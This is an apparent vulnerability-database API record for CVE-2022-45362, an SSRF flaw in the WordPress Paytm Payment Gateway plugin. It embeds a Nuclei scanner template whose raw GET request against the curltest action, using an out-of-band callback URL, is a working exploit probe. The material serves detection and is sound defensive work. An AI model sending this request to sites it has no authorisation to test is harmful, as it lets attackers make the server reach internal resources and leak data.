{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-45362/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-45362/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-45362/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-45362/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-45362/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-45362"},"sightings":{"href":"/api/v1/sightings/cve-2022-45362"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-45362.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2022-45362\n\ninfo:\n  name: WordPress Paytm Payment Gateway <=2.7.0 - Server-Side Request Forgery\n  author: theamanrawat\n  severity: medium\n  description: WordPress Paytm Payment Gateway plugin through 2.7.0 contains a server-side request forgery vulnerability. An attacker can cause a website to execute website requests to an arbitrary domain, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n  impact: |\n    Unauthenticated attackers can exploit server-side request forgery through the url parameter in the curltest action to make arbitrary HTTP requests from the server, potentially accessing internal network resources and sensitive data.\n  remediation: |\n    Update to the latest version of the WordPress Paytm Payment Gateway plugin (2.7.0) or apply the vendor-supplied patch.\n  reference:\n    - https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-0-server-side-request-forgery-ssrf-vulnerability\n    - https://wordpress.org/plugins/paytm-payments/\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-45362\n    - https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2022-45362\n    cwe-id: CWE-918\n    epss-score: 0.41762\n    epss-percentile: 0.98691\n    cpe: cpe:2.3:a:paytm:payment_gateway:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: paytm\n    product: payment_gateway\n    framework: wordpress\n  tags: cve,cve2022,ssrf,wordpress,wp-plugin,wp,paytm-payments,unauth,oast,paytm,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /?paytm_action=curltest&url={{interactsh-url}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: body\n        words:\n          - \"paytm-payments.css\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a004830460221008aba4af5d5c4a6a4918746368536da6351f646d79672115ee202a9201850a1300221009c33d3496b4556fb10d4227462f03cb0e5874cb025e4f461f455e97e961b1a43:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-45362"}